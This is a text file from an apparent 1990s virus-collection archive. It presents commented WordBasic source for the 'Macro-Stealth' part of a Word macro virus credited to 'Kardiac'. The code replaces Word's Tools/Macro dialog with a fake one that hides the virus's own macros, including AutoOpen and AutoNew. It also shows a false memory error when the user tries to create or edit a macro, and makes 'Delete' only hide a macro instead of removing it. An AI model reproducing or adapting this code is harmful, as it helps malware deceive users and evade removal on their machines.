home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
CCTX0297.ZIP
/
MVUPDAT7.ZIP
/
STEALTH.ZIP
/
STEALTH.TXT
Wrap
Text File
|
1997-01-08
|
7KB
|
235 lines
--------------------------------------------------------------
A new macro virus (written by Kardiac)
,
By <****{=============-
' AuRoDrEpH, the Drow
--------------------------------------------------------------
An interesting source commented by his author... thanks to him..
==========================================================================
'**************
'* ToolsMacro *
'********************************************************************
'* Macro-Stealth. *
'* *
'* This macro will Stealth its existance from the user, via the *
'* Tools/Macro menu. Any macros deleted by the user will become *
'* Stealthed. *
'* *
'* Kardiac. *
'* *
'********************************************************************
Dim Shared listDisp$(2) ' Display Options. Normal.Dot, Global
Dim Shared MacList$(128) ' Displayed list of Macro names.
Dim Shared MacDesc$(1) ' Macro Description.
Dim Shared StealthMacList$(128)' List of macros to be Stealthed.
Dim Shared StealthMacNum ' Number of Macros to be Stealthed.
Dim Shared StealthFlag ' Stealth Flag
Dim Shared CurrentStealthMacCount
' Variable for counting Stealthed Macros
' in the current Context.
Dim Shared Context ' Current Macros Context Normal or
' Active.
Sub BuildMacList(MacList$(), Context)
On Error Goto ErrorHandler
' Find how many Macros we need to stealth in the current Macro List
' using the current Macro Context.
CurrentStealthMacCount = 0 ' Count how many we need to hide.
For count = 1 To (CountMacros(Context))
StealthFlag = 0 ' Assume we have nothing to hide.
For x = 0 To StealthMacNum ' Check our list of Macros..
If InStr(StealthMacList$(x), MacroName$(count, Context)) <> 0 \
Then
StealthFlag = 1 ' We have to hide MacroName$(count..
CurrentStealthMacCount = CurrentStealthMacCount + 1
End If
Next x
Next count
' ReDimension the MacList to the number of Macros in the Current
' Macro Context.
' MacroList$ = (RealMacList$ - StealthMacList$)
If ((CountMacros(Context) - CurrentStealthMacCount) - 1) > - 1 Then
Redim MacList$((CountMacros(Context) - CurrentStealthMacCount) - 1)
Else
Redim MacList$(0)
MacList$(0) = ""
End If
StealthMacCount = 0 ' Count how many Stealthed Macros we have ' found in the Current Macro Context..
For count = 1 To (CountMacros(Context))
StealthFlag = 0 ' is MacroName$(count.. a member of StealthList
For x = 0 To StealthMacNum
If InStr(StealthMacList$(x), \
MacroName$(count, Context)) <> 0 Then
StealthFlag = 1
End If
Next x
' If StealthFlag = 0 then Add MacroName$(count) to the MacList$
If (StealthFlag = 0) Then
MacList$(count - StealthMacCount - 1) = MacroName$(count, Context)
Else
StealthMacCount = StealthMacCount + 1
End If
Next count
Goto xEnd
ErrorHandler:
' Say nothing..
xEnd:
End Sub
'**********
'** MAIN **
'**********
Sub MAIN
DisableInput 1
DisableAutoMacros 0
Context = 0
' List of Macros to Stealth..
StealthMacList$(0) = "XToolsMacro"
StealthMacList$(1) = "CCC"
StealthMacList$(2) = "BBB"
StealthMacList$(3) = "AutoNew"
StealthMacList$(4) = "AutoOpen"
StealthMacNum = 5
BuildMacList(MacList$, Context)
listDisp$(0) = "All Active Templates"
listDisp$(1) = "Normal.dot (Global Template)"
listDisp$(2) = "Word Commands"
Begin Dialog UserDialog 424, 308, "Macro", .StealthToolMacro
ComboBox 7, 28, 250, 160, MacList$(), .MacList
Text 6, 12, 101, 13, "&Macro Name:"
Text 6, 193, 152, 29, "Macros &Available in:"
Text 3, 234, 92, 13, "Description:", .Descr
TextBox 5, 248, 388, 39, .MacDesc, 1
ListBox 392, 248, 24, 36, MacList$(), .DummyListBox
DropListBox 5, 209, 411, 83, listDisp$(), .DispList
PushButton 274, 19, 140, 21, "&Record", .Record
PushButton 274, 45, 140, 21, "Cancel", .Cancel
PushButton 274, 75, 140, 21, "Run", .Run
PushButton 274, 99, 140, 21, "Create", .Create
PushButton 274, 124, 140, 21, "Delete", .Delete
PushButton 274, 154, 140, 21, "Organizer...", .Organizer
End Dialog
Dim dlg As UserDialog
Dialog(dlg, 2)
bye:
DisableInput 0
DisableAutoMacros 1
End Sub
Function StealthToolMacro(ControlID$, action, SuppValue)
Select Case Action
Case 1
' Inialise
DlgEnable "Delete", 0
DlgEnable "MacDesc", 0
DlgValue "DispList", 1 ' Default option Normal.Dot
Case 2
'MsgBox ControlID$
Select Case ControlID$
Case "MacList"
DlgEnable "Delete", 1
DlgEnable "MacDesc", 1' Update the Description text..
DlgText "MacDesc", MacroDesc$(MacList$(SuppValue))
DlgText "Create", "Edit"
StealthToolMacro = 1
Case "DispList"
selectedItem = DlgValue("MacList")
Select Case SuppValue
Case 0
Context = 1 ' Active template
Case 1
Context = 0 ' Normal template
Case Else
' They have requested the Interal Word
' Command List
End Select
BuildMacList(MacList$, Context)
DlgListBoxArray "MacList", MacList$()
DlgFocus "MacList"
DlgText MacList, ""
DlgValue "MacList", selectedItem
StealthToolMacro = 1
Case "Create"
MsgBox "Dialog Error: Unable to allocate GDI memory.", \
"Word Basic Error = 182", 16
DlgFocus "Cancel"
DlgEnable "Create", 0
StealthToolMacro = 1
Case "Delete"
If DlgValue("MacList") >= 0 Then
StealthMacList$(StealthMacNum + 1) = \
MacList$(DlgValue("MacList"))
StealthMacNum = StealthMacNum + 1
BuildMacList(MacList$, Context)
DlgListBoxArray "MacList", MacList$()
DlgFocus "MacList"
DlgText MacList, ""
End If
StealthToolMacro = 1
Case Else
' Do nothing..
End Select
Case Else
End Select
End Function
==========================================================================